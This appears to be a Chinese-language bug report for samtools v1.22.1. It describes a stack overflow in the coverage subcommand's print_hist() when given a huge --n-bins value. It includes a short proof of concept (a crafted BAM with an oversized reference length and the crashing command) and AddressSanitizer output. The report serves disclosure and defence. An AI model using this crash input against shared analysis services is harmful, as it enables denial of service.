Samtools v1.22.1 覆盖度分析功能存在栈溢出漏洞

Samtools v1.22.1 覆盖度分析中过度分箱数处理不当导致栈溢出

在samtools coverage子命令中，-w / --n-bins选项允许用户指定在覆盖度直方图中生成多少个"分箱"。代码计算：stats[tid].bin_width = (stats[tid].end - stats[tid].beg) / n_bins; 当分箱数量（n_bins）相对于区域长度（end - beg）极大时，该整数除法可能产生零，或导致后续算术运算出现意外行为。随后在print_hist()中，涉及current_bin、row_bin_size和循环边界的计算可能溢出或导致无效分支，最终引发栈递归或无限制的栈消耗。实际上，提供巨大的分箱计数（例如2147483647）会触发print_hist()中的栈溢出（如观察到的）并使程序崩溃。

影响：

服务拒绝（DoS）
内存损坏

概念验证（PoC）

创建具有大声明参考大小和一个读取的最小BAM文件：

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echo -e "@HD\tVN:1.6@SQ\tSN:chrX\tLN:500000000r1\t0\tchrX\t1\t60\t10M\t*\t0\t0\tAAAAAAAAAA\tIIIIIIIIII" \ | ./samtools view -b -o huge.bam -
./samtools index huge.bam

使用巨大的分箱计数运行覆盖度分析：

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./samtools coverage -w 2147483647 huge.bam

预期崩溃：

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AddressSanitizer:DEADLYSIGNAL
=================================================================
==1070796==ERROR: AddressSanitizer: stack-overflow on address 0xfffef18a7ff0 (pc 0xab400a2993cc bp 0xffffdff5a910 sp 0xfffef18a7ff0 T0)
    #0 0xab400a2993cc in print_hist /root/samtools/coverage.c:236:22
    #1 0xab400a29c304 in main_coverage /root/samtools/coverage.c:674:13
    #2 0xab400a286044 in main /root/samtools/bamtk.c:271:55
    #3 0xff6004352290 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #4 0xff6004352374 in __libc_start_main csu/../csu/libc-start.c:360:3
    #5 0xab400a15cc6c in _start (/root/samtools/samtools+0x3cc6c) (BuildId: 031fb204568f835410c0dd07ee99a915c9a7b660)

SUMMARY: AddressSanitizer: stack-overflow /root/samtools/coverage.c:236:22 in print_hist
==1070796==ABORTING